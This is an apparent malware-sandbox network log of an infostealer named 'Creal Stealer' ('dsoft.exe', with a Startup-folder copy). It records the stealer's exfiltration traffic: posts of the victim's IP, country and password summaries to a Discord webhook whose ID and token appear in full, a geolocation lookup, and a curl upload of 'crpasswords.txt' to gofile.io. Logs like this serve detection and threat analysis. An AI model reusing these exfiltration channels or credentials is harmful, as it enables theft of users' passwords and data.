                                                                                                                                                                                                                                        16192.168.2.449770162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:58 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:58 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:02:59 UTC1251INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:59 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498980
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=al14tV3RO5HAUGlpzldwbNVdyOqSgAYjGAGFl4u9J%2BcEcrKeUkb72GhVyFq5a9Ky84w2Bp5mq4I4sw0FeQVfqtietjjAnh1BOzkJj6gv7FtFwM86yxaFxgvn7O0p"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=4ad72b55e11a23022160cd227dced0a61e8bc086-1735498979; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=3mp86m6fg2yt6TrvqhFhIX3HYUwXx6EX7Cx2XPSFZHg-1735498979222-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c2b3b6d6a52-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:59 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        17192.168.2.449771159.89.102.2534434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:59 UTC140OUTGET /jsonp/8.46.123.189 HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Host: geolocation-db.com
                                                                                                                                                                                                                                        User-Agent: Python-urllib/3.10
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:00 UTC206INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:59 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        2024-12-29 19:03:00 UTC172INData Raw: 61 31 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 6e 75 6c 6c 2c 22 70 6f 73 74 61 6c 22 3a 6e 75 6c 6c 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 37 2e 37 35 31 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 37 2e 38 32 32 2c 22 49 50 76 34 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 73 74 61 74 65 22 3a 6e 75 6c 6c 7d 29 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: a1callback({"country_code":"US","country_name":"United States","city":null,"postal":null,"latitude":37.751,"longitude":-97.822,"IPv4":"8.46.123.189","state":null})0


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        18192.168.2.449773162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:00 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:00 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:01 UTC1261INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:00 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498982
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SmQgN8Bkb5p4tC9eLmADdG0ZD1Cc9uZkEiQKS29%2F3XCJGAAArUH8Y096R1MN%2BnvVxkGTp%2FVjYewXvg%2BNbh9Pyy14XlfQE5U%2BTr6HXiO22nai33yJGaOzTkt3Q%2BSV"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=23823cab609d971f0f82be1af4b6dcf33a9d3964-1735498980; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=8bvJYm8vneycF0wLjDAnGKYytTPnB_jNbePUIaNbag8-1735498980996-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c367eb54301-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:01 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        19192.168.2.449777162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:01 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:01 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:02 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:02 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498983
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ew2eSJHs21nMyIaCjS1fgAB0hIte%2BxNqw079TaXbkJeR2kBRXsRDEFS1ke8E771MYFhMKHTcR%2BNnaMv5nekeQQ7xaAScDPrMvqA27kIgu1zTD0h53XctQdusGxEu"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=a83e1b02b8bf0e6c4fe8f6315cbb2f437fc4f7b6-1735498982; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=sDbDnP8c3EQsAzdxnKSvOTrh8pv1NFi2WqQ8ocMCSi0-1735498982119-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c3ddc55726b-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:02 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        20192.168.2.44977631.14.70.2454437032C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:01 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                        Host: store4.gofile.io
                                                                                                                                                                                                                                        User-Agent: curl/7.83.1
                                                                                                                                                                                                                                        Accept: */*
                                                                                                                                                                                                                                        Content-Length: 193
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=------------------------9f79a24e6e998251
                                                                                                                                                                                                                                        2024-12-29 19:03:01 UTC193OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 66 37 39 61 32 34 65 36 65 39 39 38 32 35 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 66 37 39 61 32 34 65 36 65 39 39 38 32 35 31 2d 2d 0d 0a
                                                                                                                                                                                                                                        Data Ascii: --------------------------9f79a24e6e998251Content-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------9f79a24e6e998251--
                                                                                                                                                                                                                                        2024-12-29 19:03:03 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:03 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 730
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                        2024-12-29 19:03:03 UTC730INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 38 33 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 47 79 47 44 77 69 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 5a 51 59 55 48 78 63 53 33 38 61 75 47 37 4f 68 54 64 71 6f 69 4d 65 73 36 43 46 6d 61 31 77 68 22 2c 22 69 64 22 3a 22 64 32 31 65 33 66 39 35 2d 65 34 61 63 2d 34 32 62 34 2d 62 30 65 32 2d 35 61 37 66 36 39 61 33 39 39 36 64 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 38 33 2c
                                                                                                                                                                                                                                        Data Ascii: {"data":{"createTime":1735498983,"downloadPage":"https://gofile.io/d/GyGDwi","guestToken":"ZQYUHxcS38auG7OhTdqoiMes6CFma1wh","id":"d21e3f95-e4ac-42b4-b0e2-5a7f69a3996d","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1735498983,


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        21192.168.2.449778162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:02 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:02 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:02 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:02 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498984
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2plpiH9sNqMfQqwohta98Ka8UWFcWZMzC1vZHEvKndpWvfGa6c8qshUDlJq%2FlKHmKJXBD2MBHAdeiJ2X48xh2LtmPEOUra4oIG1C2ZGo9u6beLMPa%2B9YR8vMALGW"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=a83e1b02b8bf0e6c4fe8f6315cbb2f437fc4f7b6-1735498982; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=dyytUMLAmtE7eC2.A3TjG8YytCENP06uko0MPzuc500-1735498982814-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c41cff84331-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:02 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        22192.168.2.449784162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:03 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:03 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:04 UTC1261INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:03 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498985
